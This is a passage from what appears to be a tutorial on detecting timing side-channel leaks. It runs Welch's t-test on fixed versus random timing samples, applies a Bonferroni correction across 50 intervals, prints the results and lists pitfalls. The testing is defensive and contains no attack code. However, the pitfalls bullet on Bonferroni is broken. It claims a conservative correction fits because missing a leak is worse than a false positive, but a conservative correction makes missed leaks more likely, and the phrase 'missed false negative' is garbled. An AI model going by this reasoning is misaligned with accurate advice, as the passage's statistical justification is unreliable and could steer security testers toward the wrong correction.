p_a = t_to_p_two_sided(t_a, df_a)

t_b, df_b = welch_t_test(fixed_b, random_b)
p_b = t_to_p_two_sided(t_b, df_b)

print(f"interval A: t = {t_a:.3f}, df = {df_a:.0f}, two-sided p = {p_a:.4f}")
print(f"interval B: t = {t_b:.3f}, df = {df_b:.0f}, two-sided p = {p_b:.4f}")

num_intervals_tested = 50
bonf_alpha = 0.05 / num_intervals_tested
print(f"\nBonferroni-corrected significance threshold for {num_intervals_tested} intervals "
      f"tested: {bonf_alpha:.4f}")
print(f"interval A passes corrected threshold: {p_a < bonf_alpha}")
print(f"interval B passes corrected threshold: {p_b < bonf_alpha}")

Output:

interval A: t = -2.172, df = 199996, two-sided p = 0.0299
interval B: t = -1.290, df = 199997, two-sided p = 0.1970

Bonferroni-corrected significance threshold for 50 intervals tested: 0.0010
interval A passes corrected threshold: False
interval B passes corrected threshold: False

Both intervals fail the Bonferroni-corrected threshold of 0.001 for 50 intervals tested, even though interval A's raw p roughly 0.03 would have looked "significant" under an uncorrected alpha of 0.05.

Trade-offs and pitfalls

• The single most common mistake is treating the LOWEST p-value among many intervals as the finding, and investigating only that one; a proper analysis reports the full distribution across all intervals, since a real leak with a consistent effect size tends to show up correlated across ADJACENT intervals, not as one isolated dip.
• Bonferroni is conservative (it controls the family-wise error rate strictly), which is the right choice for security-relevant leakage testing where a missed false negative is worse than a slightly higher false-positive rate on other tests; a less conservative correction (Benjamini-Hochberg) trades that safety margin for more statistical power and is a poor fit here.
• Very large sample sizes (as in the worked example) make even TINY, practically irrelevant timing differences statistically significant; always pair the p-value with an effect-size estimate before deciding an interval is worth chasing.